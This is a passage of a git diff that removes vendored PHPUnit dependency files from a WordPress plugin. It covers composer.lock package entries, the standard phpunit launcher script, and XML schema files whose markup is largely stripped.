"phpunit/phpunit": "^9.3" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "5.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Utility class for timing", - "homepage": "https://github.com/sebastianbergmann/php-timer/", - "keywords": [ - "timer" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/php-timer/issues", - "source": "https://github.com/sebastianbergmann/php-timer/tree/5.0.3" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2020-10-26T13:16:10+00:00" - }, - { - "name": "sebastian/cli-parser", - "version": "1.0.2", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/cli-parser.git", - "reference": "2b56bea83a09de3ac06bb18b92f068e60cc6f50b" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/cli-parser/zipball/2b56bea83a09de3ac06bb18b92f068e60cc6f50b", - "reference": "2b56bea83a09de3ac06bb18b92f068e60cc6f50b", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Library for parsing CLI options", - "homepage": "https://github.com/sebastianbergmann/cli-parser", - "support": { - "issues": "https://github.com/sebastianbergmann/cli-parser/issues", - "source": "https://github.com/sebastianbergmann/cli-parser/tree/1.0.2" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2024-03-02T06:27:43+00:00" - }, - { - "name": "sebastian/code-unit", - "version": "1.0.8", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/code-unit.git", - "reference": "1fc9f64c0927627ef78ba436c9b17d967e68e120" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/code-unit/zipball/1fc9f64c0927627ef78ba436c9b17d967e68e120", - "reference": "1fc9f64c0927627ef78ba436c9b17d967e68e120", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Collection of value objects that represent the PHP code units", - "homepage": "https://github.com/sebastianbergmann/code-unit", - "support": { - "issues": "https://github.com/sebastianbergmann/code-unit/issues", - "source": "https://github.com/sebastianbergmann/code-unit/tree/1.0.8" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2020-10-26T13:08:54+00:00" - }, - { - "name": "sebastian/code-unit-reverse-lookup", - "version": "2.0.3", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/code-unit-reverse-lookup.git", - "reference": "ac91f01ccec49fb77bdc6fd1e548bc70f7faa3e5" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/code-unit-reverse-lookup/zipball/ac91f01ccec49fb77bdc6fd1e548bc70f7faa3e5", - "reference": "ac91f01ccec49fb77bdc6fd1e548bc70f7faa3e5", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "2.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "description": "Looks up which function or method a line of code belongs to", - "homepage": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/", - "support": { - "issues": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/issues", - "source": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/tree/2.0.3" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2020-09-28T05:30:19+00:00" - }, - { - "name": "sebastian/comparator", - "version": "4.0.8", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/comparator.git", - "reference": "fa0f136dd2334583309d32b62544682ee972b51a" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/comparator/zipball/fa0f136dd2334583309d32b62544682ee972b51a", - "reference": "fa0f136dd2334583309d32b62544682ee972b51a", - "shasum": "" - }, - "require": { - "php": ">=7.3", - "sebastian/diff": "^4.0", - "sebastian/exporter": "^4.0" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "4.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - }, - { - "name": "Jeff Welch", - "email": "whatthejeff@gmail.com" - }, - { - "name": "Volker Dusch", - "email": "github@wallbash.com" - }, - { - "name": "Bernhard Schussek", - "email": "bschussek@2bepublished.at" - } - ], - "description": "Provides the functionality to compare PHP values for equality", - "homepage": "https://github.com/sebastianbergmann/comparator", - "keywords": [ - "comparator", - "compare", - "equality" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/comparator/issues", - "source": "https://github.com/sebastianbergmann/comparator/tree/4.0.8" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2022-09-14T12:41:17+00:00" - }, - { - "name": "sebastian/complexity", - "version": "2.0.3", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/complexity.git", - "reference": "25f207c40d62b8b7aa32f5ab026c53561964053a" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/complexity/zipball/25f207c40d62b8b7aa32f5ab026c53561964053a", - "reference": "25f207c40d62b8b7aa32f5ab026c53561964053a", - "shasum": "" - }, - "require": { - "nikic/php-parser": "^4.18 || ^5.0", - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "2.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Library for calculating the complexity of PHP code units", - "homepage": "https://github.com/sebastianbergmann/complexity", - "support": { - "issues": "https://github.com/sebastianbergmann/complexity/issues", - "source": "https://github.com/sebastianbergmann/complexity/tree/2.0.3" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2023-12-22T06:19:30+00:00" - }, - { - "name": "sebastian/diff", - "version": "4.0.6", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/diff.git", - "reference": "ba01945089c3a293b01ba9badc29ad55b106b0bc" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/diff/zipball/ba01945089c3a293b01ba9badc29ad55b106b0bc", - "reference": "ba01945089c3a293b01ba9badc29ad55b106b0bc", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3", - "symfony/process": "^4.2 || ^5" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "4.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - }, - { - "name": "Kore Nordmann", - "email": "mail@kore-nordmann.de" - } - ], - "description": "Diff implementation", - "homepage": "https://github.com/sebastianbergmann/diff", - "keywords": [ - "diff", - "udiff", - "unidiff", - "unified diff" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/diff/issues", - "source": "https://github.com/sebastianbergmann/diff/tree/4.0.6" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2024-03-02T06:30:58+00:00" - }, - { - "name": "sebastian/environment", - "version": "5.1.5", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/environment.git", - "reference": "830c43a844f1f8d5b7a1f6d6076b784454d8b7ed" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/environment/zipball/830c43a844f1f8d5b7a1f6d6076b784454d8b7ed", - "reference": "830c43a844f1f8d5b7a1f6d6076b784454d8b7ed", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "suggest": { - "ext-posix": "*" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "5.1-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "description": "Provides functionality to handle HHVM/PHP environments", - "homepage": "http://www.github.com/sebastianbergmann/environment", - "keywords": [ - "Xdebug", - "environment", - "hhvm" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/environment/issues", - "source": "https://github.com/sebastianbergmann/environment/tree/5.1.5" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2023-02-03T06:03:51+00:00" - }, - { - "name": "sebastian/exporter", - "version": "4.0.6", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/exporter.git", - "reference": "78c00df8f170e02473b682df15bfcdacc3d32d72" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/exporter/zipball/78c00df8f170e02473b682df15bfcdacc3d32d72", - "reference": "78c00df8f170e02473b682df15bfcdacc3d32d72", - "shasum": "" - }, - "require": { - "php": ">=7.3", - "sebastian/recursion-context": "^4.0" - }, - "require-dev": { - "ext-mbstring": "*", - "phpunit/phpunit": "^9.3" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "4.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - }, - { - "name": "Jeff Welch", - "email": "whatthejeff@gmail.com" - }, - { - "name": "Volker Dusch", - "email": "github@wallbash.com" - }, - { - "name": "Adam Harvey", - "email": "aharvey@php.net" - }, - { - "name": "Bernhard Schussek", - "email": "bschussek@gmail.com" - } - ], - "description": "Provides the functionality to export PHP variables for visualization", - "homepage": "https://www.github.com/sebastianbergmann/exporter", - "keywords": [ - "export", - "exporter" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/exporter/issues", - "source": "https://github.com/sebastianbergmann/exporter/tree/4.0.6" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2024-03-02T06:33:00+00:00" - }, - { - "name": "sebastian/global-state", - "version": "5.0.7", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/global-state.git", - "reference": "bca7df1f32ee6fe93b4d4a9abbf69e13a4ada2c9" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/global-state/zipball/bca7df1f32ee6fe93b4d4a9abbf69e13a4ada2c9", - "reference": "bca7df1f32ee6fe93b4d4a9abbf69e13a4ada2c9", - "shasum": "" - }, - "require": { - "php": ">=7.3", - "sebastian/object-reflector": "^2.0", - "sebastian/recursion-context": "^4.0" - }, - "require-dev": { - "ext-dom": "*", - "phpunit/phpunit": "^9.3" - }, - "suggest": { - "ext-uopz": "*" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "5.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "description": "Snapshotting of global state", - "homepage": "http://www.github.com/sebastianbergmann/global-state", - "keywords": [ - "global state" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/global-state/issues", - "source": "https://github.com/sebastianbergmann/global-state/tree/5.0.7" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2024-03-02T06:35:11+00:00" - }, - { - "name": "sebastian/lines-of-code", - "version": "1.0.4", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/lines-of-code.git", - "reference": "e1e4a170560925c26d424b6a03aed157e7dcc5c5" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/lines-of-code/zipball/e1e4a170560925c26d424b6a03aed157e7dcc5c5", - "reference": "e1e4a170560925c26d424b6a03aed157e7dcc5c5", - "shasum": "" - }, - "require": { - "nikic/php-parser": "^4.18 || ^5.0", - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Library for counting the lines of code in PHP source code", - "homepage": "https://github.com/sebastianbergmann/lines-of-code", - "support": { - "issues": "https://github.com/sebastianbergmann/lines-of-code/issues", - "source": "https://github.com/sebastianbergmann/lines-of-code/tree/1.0.4" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2023-12-22T06:20:34+00:00" - }, - { - "name": "sebastian/object-enumerator", - "version": "4.0.4", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/object-enumerator.git", - "reference": "5c9eeac41b290a3712d88851518825ad78f45c71" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/object-enumerator/zipball/5c9eeac41b290a3712d88851518825ad78f45c71", - "reference": "5c9eeac41b290a3712d88851518825ad78f45c71", - "shasum": "" - }, - "require": { - "php": ">=7.3", - "sebastian/object-reflector": "^2.0", - "sebastian/recursion-context": "^4.0" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "4.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "description": "Traverses array structures and object graphs to enumerate all referenced objects", - "homepage": "https://github.com/sebastianbergmann/object-enumerator/", - "support": { - "issues": "https://github.com/sebastianbergmann/object-enumerator/issues", - "source": "https://github.com/sebastianbergmann/object-enumerator/tree/4.0.4" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2020-10-26T13:12:34+00:00" - }, - { - "name": "sebastian/object-reflector", - "version": "2.0.4", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/object-reflector.git", - "reference": "b4f479ebdbf63ac605d183ece17d8d7fe49c15c7" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/object-reflector/zipball/b4f479ebdbf63ac605d183ece17d8d7fe49c15c7", - "reference": "b4f479ebdbf63ac605d183ece17d8d7fe49c15c7", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "2.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "description": "Allows reflection of object attributes, including inherited and non-public ones", - "homepage": "https://github.com/sebastianbergmann/object-reflector/", - "support": { - "issues": "https://github.com/sebastianbergmann/object-reflector/issues", - "source": "https://github.com/sebastianbergmann/object-reflector/tree/2.0.4" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2020-10-26T13:14:26+00:00" - }, - { - "name": "sebastian/recursion-context", - "version": "4.0.5", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/recursion-context.git", - "reference": "e75bd0f07204fec2a0af9b0f3cfe97d05f92efc1" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/recursion-context/zipball/e75bd0f07204fec2a0af9b0f3cfe97d05f92efc1", - "reference": "e75bd0f07204fec2a0af9b0f3cfe97d05f92efc1", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "4.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - }, - { - "name": "Jeff Welch", - "email": "whatthejeff@gmail.com" - }, - { - "name": "Adam Harvey", - "email": "aharvey@php.net" - } - ], - "description": "Provides functionality to recursively process PHP variables", - "homepage": "https://github.com/sebastianbergmann/recursion-context", - "support": { - "issues": "https://github.com/sebastianbergmann/recursion-context/issues", - "source": "https://github.com/sebastianbergmann/recursion-context/tree/4.0.5" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2023-02-03T06:07:39+00:00" - }, - { - "name": "sebastian/resource-operations", - "version": "3.0.4", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/resource-operations.git", - "reference": "05d5692a7993ecccd56a03e40cd7e5b09b1d404e" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/resource-operations/zipball/05d5692a7993ecccd56a03e40cd7e5b09b1d404e", - "reference": "05d5692a7993ecccd56a03e40cd7e5b09b1d404e", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.0" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-main": "3.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "description": "Provides a list of PHP built-in functions that operate on resources", - "homepage": "https://www.github.com/sebastianbergmann/resource-operations", - "support": { - "source": "https://github.com/sebastianbergmann/resource-operations/tree/3.0.4" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2024-03-14T16:00:52+00:00" - }, - { - "name": "sebastian/type", - "version": "3.2.1", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/type.git", - "reference": "75e2c2a32f5e0b3aef905b9ed0b179b953b3d7c7" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/type/zipball/75e2c2a32f5e0b3aef905b9ed0b179b953b3d7c7", - "reference": "75e2c2a32f5e0b3aef905b9ed0b179b953b3d7c7", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.5" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "3.2-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Collection of value objects that represent the types of the PHP type system", - "homepage": "https://github.com/sebastianbergmann/type", - "support": { - "issues": "https://github.com/sebastianbergmann/type/issues", - "source": "https://github.com/sebastianbergmann/type/tree/3.2.1" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2023-02-03T06:13:03+00:00" - }, - { - "name": "sebastian/version", - "version": "3.0.2", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/version.git", - "reference": "c6c1022351a901512170118436c764e473f6de8c" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/version/zipball/c6c1022351a901512170118436c764e473f6de8c", - "reference": "c6c1022351a901512170118436c764e473f6de8c", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "3.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Library that helps with managing the version number of Git-hosted PHP projects", - "homepage": "https://github.com/sebastianbergmann/version", - "support": { - "issues": "https://github.com/sebastianbergmann/version/issues", - "source": "https://github.com/sebastianbergmann/version/tree/3.0.2" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2020-09-28T06:39:44+00:00" - }, - { - "name": "theseer/tokenizer", - "version": "1.2.3", - "source": { - "type": "git", - "url": "https://github.com/theseer/tokenizer.git", - "reference": "737eda637ed5e28c3413cb1ebe8bb52cbf1ca7a2" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/theseer/tokenizer/zipball/737eda637ed5e28c3413cb1ebe8bb52cbf1ca7a2", - "reference": "737eda637ed5e28c3413cb1ebe8bb52cbf1ca7a2", - "shasum": "" - }, - "require": { - "ext-dom": "*", - "ext-tokenizer": "*", - "ext-xmlwriter": "*", - "php": "^7.2 || ^8.0" - }, - "type": "library", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Arne Blankerts", - "email": "arne@blankerts.de", - "role": "Developer" - } - ], - "description": "A small library for converting tokenized PHP source code into XML and potentially other formats", - "support": { - "issues": "https://github.com/theseer/tokenizer/issues", - "source": "https://github.com/theseer/tokenizer/tree/1.2.3" - }, - "funding": [ - { - "url": "https://github.com/theseer", - "type": "github" - } - ], - "time": "2024-03-03T12:36:25+00:00" - } - ], - "packages-dev": [], - "aliases": [], - "minimum-stability": "stable", - "stability-flags": {}, - "prefer-stable": true, - "prefer-lowest": false, - "platform": { - "php": ">=7.3", - "ext-dom": "*", - "ext-json": "*", - "ext-libxml": "*", - "ext-mbstring": "*", - "ext-xml": "*", - "ext-xmlwriter": "*" - }, - "platform-dev": {}, - "platform-overrides": { - "php": "7.3.0" - }, - "plugin-api-version": "2.6.0" -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/phpunit b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/phpunit deleted file mode 100755 index b9f5cf29..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/phpunit +++ /dev/null @@ -1,107 +0,0 @@ -#!/usr/bin/env php - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -if (!version_compare(PHP_VERSION, PHP_VERSION, '=')) { - fwrite( - STDERR, - sprintf( - '%s declares an invalid value for PHP_VERSION.' . PHP_EOL . - 'This breaks fundamental functionality such as version_compare().' . PHP_EOL . - 'Please use a different PHP interpreter.' . PHP_EOL, - - PHP_BINARY - ) - ); - - die(1); -} - -if (version_compare('7.3.0', PHP_VERSION, '>')) { - fwrite( - STDERR, - sprintf( - 'This version of PHPUnit requires PHP >= 7.3.' . PHP_EOL . - 'You are using PHP %s (%s).' . PHP_EOL, - PHP_VERSION, - PHP_BINARY - ) - ); - - die(1); -} - -$requiredExtensions = ['dom', 'json', 'libxml', 'mbstring', 'tokenizer', 'xml', 'xmlwriter']; - -$unavailableExtensions = array_filter( - $requiredExtensions, - static function ($extension) { - return !extension_loaded($extension); - } -); - -if ([] !== $unavailableExtensions) { - fwrite( - STDERR, - sprintf( - 'PHPUnit requires the "%s" extensions, but the "%s" %s not available.' . PHP_EOL, - implode('", "', $requiredExtensions), - implode('", "', $unavailableExtensions), - count($unavailableExtensions) === 1 ? 'extension is' : 'extensions are' - ) - ); - - die(1); -} - -unset($requiredExtensions, $unavailableExtensions); - -if (!ini_get('date.timezone')) { - ini_set('date.timezone', 'UTC'); -} - -if (isset($GLOBALS['_composer_autoload_path'])) { - define('PHPUNIT_COMPOSER_INSTALL', $GLOBALS['_composer_autoload_path']); - - unset($GLOBALS['_composer_autoload_path']); -} else { - foreach (array(__DIR__ . '/../../autoload.php', __DIR__ . '/../vendor/autoload.php', __DIR__ . '/vendor/autoload.php') as $file) { - if (file_exists($file)) { - define('PHPUNIT_COMPOSER_INSTALL', $file); - - break; - } - } - - unset($file); -} - -if (!defined('PHPUNIT_COMPOSER_INSTALL')) { - fwrite( - STDERR, - 'You need to set up the project dependencies using Composer:' . PHP_EOL . PHP_EOL . - ' composer install' . PHP_EOL . PHP_EOL . - 'You can learn all about Composer on https://getcomposer.org/.' . PHP_EOL - ); - - die(1); -} - -$options = getopt('', array('prepend:')); - -if (isset($options['prepend'])) { - require $options['prepend']; -} - -unset($options); - -require PHPUNIT_COMPOSER_INSTALL; - -PHPUnit\TextUI\Command::main(); diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/phpunit.xsd b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/phpunit.xsd deleted file mode 100644 index 619434ef..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/phpunit.xsd +++ /dev/null @@ -1,330 +0,0 @@ - - - - - This Schema file defines the rules by which the XML configuration file of PHPUnit 9.6 may be structured. - - - - - - Root Element - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - The main type specifying the document structure - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/schema/8.5.xsd b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/schema/8.5.xsd deleted file mode 100644 index 75e22289..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/schema/8.5.xsd +++ /dev/null @@ -1,319 +0,0 @@ - - - - - This Schema file defines the rules by which the XML configuration file of PHPUnit 8.5 may be structured. - - - - - - Root Element - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - The main type specifying the document structure - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/schema/9.0.xsd b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/schema/9.0.xsd deleted file mode 100644 index 6db04c09..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/schema/9.0.xsd +++ /dev/null @@ -1,315 +0,0 @@ - - - - - This Schema file defines the rules by which the XML configuration file of PHPUnit 9.0 may be structured. - - - - - - Root Element - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - The main type specifying the document structure - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/schema/9.1.xsd 